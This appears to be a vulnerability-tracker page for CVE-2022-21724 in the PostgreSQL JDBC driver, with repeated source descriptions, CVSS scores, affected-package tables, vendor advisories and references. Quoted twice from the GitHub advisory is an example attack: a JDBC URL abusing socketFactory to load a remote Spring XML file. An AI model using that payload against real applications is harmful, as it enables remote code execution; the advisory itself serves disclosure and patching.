CVE-2022-21724
Unchecked Class Instantiation when providing Plugin Classes
pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. This can lead to code execution loaded via arbitrary classes. Users using plugins are advised to upgrade. There are no known workarounds for this issue.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- High
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.0
Unchecked Class Instantiation when providing Plugin Classes
pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. This can lead to code execution loaded via arbitrary classes. Users using plugins are advised to upgrade. There are no known workarounds for this issue.
- Record
CVE-2022-21724- CVSS 3.1
- 7.0 High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-665
- Updated
- 2026-11-02
EUVDEUVD-2022-1192
7.0
pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. This can lead to code execution loaded via arbitrary classes. Users using plugins are advised to upgrade. There are no known workarounds for this issue.
- Record
EUVD-2022-1192- CVSS 3.1
- 7.0 High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-v7wg-cpwc-24m4
7.0
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
Impact
pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)
- Record
GHSA-v7wg-cpwc-24m4- CVSS 3.1
- 7.0 High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-74, CWE-665, CWE-668
- Updated
- 2026-11-02
NVD
7.0
pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. This can lead to code execution loaded via arbitrary classes. Users using plugins are advised to upgrade. There are no known workarounds for this issue.
- Record
CVE-2022-21724- CVSS 3.1
- 7.0 High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - CVSS 2.0
- 7.5 High
AV:N/AC:L/Au:N/C:P/I:P/A:P - Weakness
- CWE-665
- Updated
- 2026-11-02
OSVALPINE-CVE-2022-21724
9.8
pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. This can lead to code execution loaded via arbitrary classes. Users using plugins are advised to upgrade. There are no known workarounds for this issue.
- Record
ALPINE-CVE-2022-21724- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-03
OSV
7.0
Unchecked Class Instantiation when providing Plugin Classes
pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. This can lead to code execution loaded via arbitrary classes. Users using plugins are advised to upgrade. There are no known workarounds for this issue.
- Record
CVE-2022-21724- CVSS 3.1
- 7.0 High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Show 9 moreShow less
OSVGHSA-v7wg-cpwc-24m4
7.0
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
Impact
pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)
- Record
GHSA-v7wg-cpwc-24m4- CVSS 3.1
- 7.0 High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-665, CWE-668, CWE-74
- Updated
- 2026-11-02
OSVOESA-2022-1535
8.5
postgresql-jdbc security update
PostgreSQL JDBC Driver (PgJDBC for short) allows Java programs to connect to a PostgreSQL database using standard, database independent Java code. Is an open source JDBC driver written in Pure Java (Type 4), and communicates in the PostgreSQL native network protocol.
Security Fix(es):
pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. This can lead to code execution loaded via arbitrary classes. Users using plugins are advised to upgrade. There are no known workarounds for this issue.(CVE-2022-21724)
- Record
OESA-2022-1535- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2022-21724
7.0
pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. This can lead to code execution loaded via arbitrary classes. Users using plugins are advised to upgrade. There are no known workarounds for this issue.
- Record
UBUNTU-CVE-2022-21724- CVSS 3.1
- 7.0 High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-06
OSVBIT-postgresql-jdbc-driver-2022-21724 No score
Unchecked Class Instantiation when providing Plugin Classes
pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. This can lead to code execution loaded via arbitrary classes. Users using plugins are advised to upgrade. There are no known workarounds for this issue.
- Record
BIT-postgresql-jdbc-driver-2022-21724- Updated
- 2026-11-02
OSVCLSA-2025-1754870603 No score
TuxCare security update for org.postgresql:postgresql (3 CVEs)
TuxCare rebuilt org.postgresql:postgresql to address 3 CVEs. Fixed in 42.2.16-tuxcare.1.
- Record
CLSA-2025-1754870603- Updated
- 2026-11-02
OSVCLSA-2026-1775033648 No score
postgresql-jdbc: Fix of CVE-2022-21724
- CVE-2022-21724: ensure arbitrary classes can't be passed instead of SocketFactory, SSLSocketFactory, CallbackHandler, HostnameVerifier
- Restore testing from previous spec versions, exclude broken tests
- Record
CLSA-2026-1775033648- Updated
- 2026-11-02
OSVDEBIAN-CVE-2022-21724 No score
pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. This can lead to code execution loaded via arbitrary classes. Users using plugins are advised to upgrade. There are no known workarounds for this issue.
- Record
DEBIAN-CVE-2022-21724- Updated
- 2026-11-03
OSVSUSE-SU-2022:2143-1 No score
Recommended update for SUSE Manager 4.1.15 Release Notes
This update for SUSE Manager 4.1.15 Release Notes provides the following additions:
Release notes for SUSE Manager:
- Update to 4.1.15
- Salt has been upgraded to 3004 version
- Grafana has been upgraded to 8.3.5
- Postgres exporter has been upgraded to 0.10.0
- Alertmanager has been upgraded to 0.23.0
- Node exporter has been upgraded 1.3.0
- CVEs fixed: CVE-2022-21724, CVE-2022-21952, CVE-2022-31248, CVE-2022-26520
- Bugs mentioned: bsc#1182742, bsc#1189501, bsc#1190535, bsc#1192850, bsc#1193032 bsc#1193238, bsc#1193707, bsc#1194262, bsc#1194447, bsc#1194594 bsc#1194909, bsc#1195561, bsc#1196338, bsc#1196407, bsc#1196702 bsc#1196704, bsc#1197356, bsc#1197429, bsc#1197438, bsc#1197488 bsc#1198221, bsc#1198356, bsc#1198686, bsc#1198914, bsc#1199036 bsc#1199142, bsc#1199149, bsc#1199512, bsc#1199528, bsc#1199629 bsc#1199677, bsc#1199888
Release notes for SUSE Manager proxy:
- Update to 4.1.15
- Salt has been upgraded to 3004 version
- Bugs mentioned: bsc#1190535, bsc#1193238, bsc#1194447, bsc#1194594, bsc#1194909 bsc#1196338, bsc#1196704, bsc#1199142, bsc#1199528
- Record
SUSE-SU-2022:2143-1- Updated
- 2026-11-02
OSVSUSE-SU-2022:2145-1 No score
Security update for SUSE Manager Server 4.1
This update fixes the following issues:
golang-github-QubitProducts-exporter_exporter:
- Adapted to build on Enterprise Linux.
- Fix build for RedHat 7
- Require Go >= 1.14 also for CentOS
- Add support for CentOS
- Replace %{?systemd_requires} with %{?systemd_ordering}
golang-github-lusitaniae-apache_exporter:
- Require building with Go 1.15
- Add %license macro for LICENSE file
golang-github-prometheus-node_exporter:
- CVE-2022-21698: Update vendor tarball with prometheus/client_golang 1.11.1 (bsc#1196338, jsc#SLE-24238, jsc#SLE-24239)
- Update to 1.3.0
- [CHANGE] Add path label to rapl collector #2146
- [CHANGE] Exclude filesystems under /run/credentials #2157
- [CHANGE] Add TCPTimeouts to netstat default filter #2189
- [FEATURE] Add lnstat collector for metrics from /proc/net/stat/ #1771
- [FEATURE] Add darwin powersupply collector #1777
- [FEATURE] Add support for monitoring GPUs on Linux #1998
- [FEATURE] Add Darwin thermal collector #2032
- [FEATURE] Add os release collector #2094
- [FEATURE] Add netdev.address-info collector #2105
- [FEATURE] Add clocksource metrics to time collector #2197
- [ENHANCEMENT] Support glob textfile collector directories #1985
- [ENHANCEMENT] ethtool: Expose node_ethtool_info metric #2080
- [ENHANCEMENT] Use include/exclude flags for ethtool filtering #2165
- [ENHANCEMENT] Add flag to disable guest CPU metrics #2123
- [ENHANCEMENT] Add DMI collector #2131
- [ENHANCEMENT] Add threads metrics to processes collector #2164
- [ENHANCMMENT] Reduce timer GC delays in the Linux filesystem collector #2169
- [ENHANCMMENT] Add TCPTimeouts to netstat default filter #2189
- [ENHANCMMENT] Use SysctlTimeval for boottime collector on BSD #2208
- [BUGFIX] ethtool: Sanitize metric names #2093
- [BUGFIX] Fix ethtool collector for multiple interfaces #2126
- [BUGFIX] Fix possible panic on macOS #2133
- [BUGFIX] Collect flag_info and bug_info only for one core #2156
- [BUGFIX] Prevent duplicate ethtool metric names #2187
- Update to 1.2.2
- Bug fixes Fix processes collector long int parsing #2112
- Update to 1.2.1
- Removed Remove obsolete capture permission denied error patch already included upstream Fix zoneinfo parsing prometheus/procfs#386 Fix nvme collector log noise #2091 Fix rapl collector log noise #2092
- Update to 1.2.0
- Changes Rename filesystem collector flags to match other collectors #2012 Make node_exporter print usage to STDOUT #203
- Features Add conntrack statistics metrics #1155 Add ethtool stats collector #1832 Add flag to ignore network speed if it is unknown #1989 Add tapestats collector for Linux #2044 Add nvme collector #2062
- Enhancements Add ErrorLog plumbing to promhttp #1887 Add more Infiniband counters #2019 netclass: retrieve interface names and filter before parsing #2033 Add time zone offset metric #2060 Handle errors from disabled PSI subsystem #1983 Fix panic when using backwards compatible flags #2000 Fix wrong value for OpenBSD memory buffer cache #2015 Only initiate collectors once #2048 Handle small backwards jumps in CPU idle #2067
- Capture permission denied error for 'energy_uj' file (bsc#1190535)
patterns-suse-manager:
- Golang-github-wrouesnel-postgres_exporter was renamed to prometheus-postgres_exporter
postgresql-jdbc:
- CVE-2022-26520: Address Arbitrary File Write Vulnerability (bsc#1197356)
- CVE-2022-21724: Address unchecked class instantiation when loading plugins based on class names (bsc#1195561)
prometheus-exporters-formula:
- Version 0.9.5
- Postgres exporter package was renamed for Red Hat
- Version 0.9.4
- Postgres exporter package was renamed for SUSE Linux Enterprise Server and openSUSE
prometheus-formula:
- Version 0.3.7
- Allow prometheus-formula only for SUSE systems (bsc#1199149)
py27-compat-salt:
- Remove redundant overrides causing confusing DEBUG logging…
- Record
SUSE-SU-2022:2145-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
org.postgresql:postgresqlMaven |
9.4.1208 up to 42.2.25 | 42.2.25 |
org.postgresql:postgresqlMaven |
42.3.0 up to 42.3.2 | 42.3.2 |
java-postgresql-jdbcAlpine:v3.16 |
before 42.2.25-r0 | 42.2.25-r0 |
java-postgresql-jdbcAlpine:v3.17 |
before 42.2.25-r0 | 42.2.25-r0 |
java-postgresql-jdbcAlpine:v3.18 |
before 42.2.25-r0 | 42.2.25-r0 |
java-postgresql-jdbcAlpine:v3.19 |
before 42.2.25-r0 | 42.2.25-r0 |
java-postgresql-jdbcAlpine:v3.20 |
before 42.2.25-r0 | 42.2.25-r0 |
java-postgresql-jdbcAlpine:v3.21 |
before 42.2.25-r0 | 42.2.25-r0 |
java-postgresql-jdbcAlpine:v3.22 |
before 42.2.25-r0 | 42.2.25-r0 |
java-postgresql-jdbcAlpine:v3.23 |
before 42.2.25-r0 | 42.2.25-r0 |
Show 43 moreShow less
| Package | Affected | Fixed |
|---|---|---|
java-postgresql-jdbcAlpine:v3.24 |
before 42.2.25-r0 | 42.2.25-r0 |
postgresql-jdbc-driverBitnami |
before 42.2.25, 42.3.0 up to 42.3.2 | 42.2.2542.3.2 |
org.postgresql:postgresqlTuxCare:Maven From an advisory covering 3 CVEs |
42.2.16 up to 42.2.16-tuxcare.1 | 42.2.16-tuxcare.1 |
postgresql-jdbcTuxCare:RHEL:8 |
before 42.2.14-3.el8_9.tuxcare.els1 | 42.2.14-3.el8_9.tuxcare.els1 |
postgresql-jdbc-javadocTuxCare:RHEL:8 |
before 42.2.14-3.el8_9.tuxcare.els1 | 42.2.14-3.el8_9.tuxcare.els1 |
libpgjavaDebian:12 |
before 42.3.2-1 | 42.3.2-1 |
libpgjavaDebian:13 |
before 42.3.2-1 | 42.3.2-1 |
libpgjavaDebian:14 |
before 42.3.2-1 | 42.3.2-1 |
libpgjavaDebian:9 |
before 9.4.1212-1+deb9u1, plus listed versions 9.4.1212-1 |
9.4.1212-1+deb9u1 |
libpgjavaDebian:10 From an advisory covering 2 CVEs |
before 42.2.5-2+deb10u1, plus listed versions 42.2.5-2 |
42.2.5-2+deb10u1 |
libpgjavaDebian:11 From an advisory covering 2 CVEs |
before 42.2.15-1+deb11u1, plus listed versions 42.2.15-1 |
42.2.15-1+deb11u1 |
org.postgresql:postgresqlMaven |
9.4.1208 up to 42.2.25, plus listed versions 42.0.042.0.0.jre642.0.0.jre742.1.042.1.0.jre7 Show 45 moreShow less42.1.142.1.1.jre642.1.1.jre742.1.242.1.2.jre642.1.2.jre742.1.342.1.3.jre642.1.3.jre742.1.442.1.4.jre642.1.4.jre742.2.042.2.0.jre642.2.0.jre742.2.142.2.1.jre642.2.1.jre742.2.1042.2.10.jre642.2.10.jre742.2.1142.2.11.jre642.2.11.jre742.2.1242.2.12.jre642.2.12.jre742.2.1342.2.13.jre642.2.13.jre742.2.1442.2.14.jre642.2.14.jre742.2.1542.2.15.jre642.2.15.jre742.2.1642.2.16.jre642.2.16.jre742.2.1742.2.17.jre642.2.17.jre742.2.1842.2.18.jre642.2.18.jre7 |
42.2.25 |
org.postgresql:postgresqlMaven |
42.3.0 up to 42.3.2, plus listed versions 42.3.1 |
42.3.2 |
postgresql-jdbcopenEuler:20.03-LTS-SP1 |
before 42.2.25-1.oe1 | 42.2.25-1.oe1 |
postgresql-jdbcopenEuler:20.03-LTS-SP2 |
before 42.2.25-1.oe1 | 42.2.25-1.oe1 |
postgresql-jdbcopenEuler:20.03-LTS-SP3 |
before 42.2.25-1.oe1 | 42.2.25-1.oe1 |
release-notes-susemanager-proxySUSE:Manager Proxy 4.1 From an advisory covering 4 CVEs |
before 4.1.15-150200.3.56.1 | 4.1.15-150200.3.56.1 |
release-notes-susemanager-proxySUSE:Manager Retail Branch Server 4.1 From an advisory covering 4 CVEs |
before 4.1.15-150200.3.56.1 | 4.1.15-150200.3.56.1 |
release-notes-susemanagerSUSE:Manager Server 4.1 From an advisory covering 4 CVEs |
before 4.1.15-150200.3.80.1 | 4.1.15-150200.3.80.1 |
golang-github-QubitProducts-exporter_exporterSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 0.4.0-150200.6.12.2 | 0.4.0-150200.6.12.2 |
golang-github-lusitaniae-apache_exporterSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 0.7.0-150200.2.6.2 | 0.7.0-150200.2.6.2 |
golang-github-prometheus-node_exporterSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 1.3.0-150200.3.9.3 | 1.3.0-150200.3.9.3 |
patterns-suse-managerSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 4.1-150200.6.12.2 | 4.1-150200.6.12.2 |
postgresql-jdbcSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 42.2.10-150200.3.8.2 | 42.2.10-150200.3.8.2 |
prometheus-exporters-formulaSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 0.9.5-150200.3.31.2 | 0.9.5-150200.3.31.2 |
prometheus-formulaSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 0.3.7-150200.3.21.2 | 0.3.7-150200.3.21.2 |
py27-compat-saltSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 3000.3-150200.6.24.2 | 3000.3-150200.6.24.2 |
spacecmdSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 4.1.18-150200.4.39.3 | 4.1.18-150200.4.39.3 |
spacewalk-backendSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 4.1.31-150200.4.50.4 | 4.1.31-150200.4.50.4 |
spacewalk-javaSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 4.1.46-150200.3.71.5 | 4.1.46-150200.3.71.5 |
spacewalk-setupSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 4.1.11-150200.3.18.2 | 4.1.11-150200.3.18.2 |
spacewalk-utilsSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 4.1.20-150200.3.30.2 | 4.1.20-150200.3.30.2 |
spacewalk-webSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 4.1.34-150200.3.47.6 | 4.1.34-150200.3.47.6 |
subscription-matcherSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 0.28-150200.3.15.2 | 0.28-150200.3.15.2 |
susemanagerSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 4.1.36-150200.3.52.1 | 4.1.36-150200.3.52.1 |
susemanager-doc-indexesSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 4.1-150200.11.55.4 | 4.1-150200.11.55.4 |
susemanager-docs_enSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 4.1-150200.11.55.2 | 4.1-150200.11.55.2 |
susemanager-schemaSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 4.1.26-150200.3.45.4 | 4.1.26-150200.3.45.4 |
susemanager-slsSUSE:Manager Server Module 4.1 From an advisory covering 5 CVEs |
before 4.1.36-150200.3.64.2 | 4.1.36-150200.3.64.2 |
libpgjavaUbuntu:14.04:LTS |
All versions, plus listed versions 9.2-1002-1 |
None known |
libpgjavaUbuntu:16.04:LTS |
All versions, plus listed versions 9.2-1002-1 |
None known |
libpgjavaUbuntu:Pro:18.04:LTS |
All versions, plus listed versions 9.4.1212-19.4.1212-1ubuntu0.1~esm1 |
None known |
libpgjavaUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 42.2.6-142.2.8-142.2.9-142.2.10-142.2.10-1ubuntu0.1~esm1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | OSV | |
| affected, facts | ||
| affected, aliases, references | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2022-21724 is a high vulnerability (CVSS 7.0) in Postgresql Jdbc Driver, published February 2, 2022. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 3.09%, the 87th percentile. Fixed in org.postgresql:postgresql 42.2.25.
References
github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4
github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813
security.netapp.com/advisory/ntap-20220311-0005
lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/BVEO7BEFXPBVHSPYL3YKQWZI6DYXQLFS
lists.debian.org/debian-lts-announce/2022/05/msg00027.html
debian.org/security/2022/dsa-5196
Show 56 moreShow less
nvd.nist.gov/vuln/detail/CVE-2022-21724
lists.fedoraproject.org/archives/list/[email protected]/message/BVEO7BEFXPBVHSPYL3YKQWZI6DYXQLFS
github.com/advisories/GHSA-v7wg-cpwc-24m4
security.alpinelinux.org/vuln/CVE-2022-21724
errata.tuxcare.com/els_os/rhel8els/CLSA-2026-1775033648.html
github.com/CVEProject/cvelistV5/tree/main/cves/2022/21xxx/CVE-2022-21724.json
security-tracker.debian.org/tracker/CVE-2022-21724
github.com/pgjdbc/pgjdbc
openeuler.org/en/security/safety-bulletin/detail.html?id=openEuler-SA-2022-1535
suse.com/support/update/announcement/2022/suse-su-20222143-1
bugzilla.suse.com/1182742
bugzilla.suse.com/1189501
bugzilla.suse.com/1190535
bugzilla.suse.com/1192850
bugzilla.suse.com/1193032
bugzilla.suse.com/1193238
bugzilla.suse.com/1193707
bugzilla.suse.com/1194262
bugzilla.suse.com/1194447
bugzilla.suse.com/1194594
bugzilla.suse.com/1194909
bugzilla.suse.com/1195561
bugzilla.suse.com/1196338
bugzilla.suse.com/1196407
bugzilla.suse.com/1196702
bugzilla.suse.com/1196704
bugzilla.suse.com/1197356
bugzilla.suse.com/1197429
bugzilla.suse.com/1197438
bugzilla.suse.com/1197488
bugzilla.suse.com/1198221
bugzilla.suse.com/1198356
bugzilla.suse.com/1198686
bugzilla.suse.com/1198914
bugzilla.suse.com/1199036
bugzilla.suse.com/1199142
bugzilla.suse.com/1199149
bugzilla.suse.com/1199512
bugzilla.suse.com/1199528
bugzilla.suse.com/1199629
bugzilla.suse.com/1199677
bugzilla.suse.com/1199888
suse.com/security/cve/CVE-2022-21724
suse.com/security/cve/CVE-2022-21952
suse.com/security/cve/CVE-2022-26520
suse.com/security/cve/CVE-2022-31248
suse.com/support/update/announcement/2022/suse-su-20222145-1
bugzilla.suse.com/1173527
bugzilla.suse.com/1191143
bugzilla.suse.com/1196067
bugzilla.suse.com/1199577
bugzilla.suse.com/1200212
bugzilla.suse.com/1200606
suse.com/security/cve/CVE-2022-21698
ubuntu.com/security/CVE-2022-21724
cve.org/CVERecord?id=CVE-2022-21724
Left out here: 56 versions and the rest of 1 source description. The JSON record has them.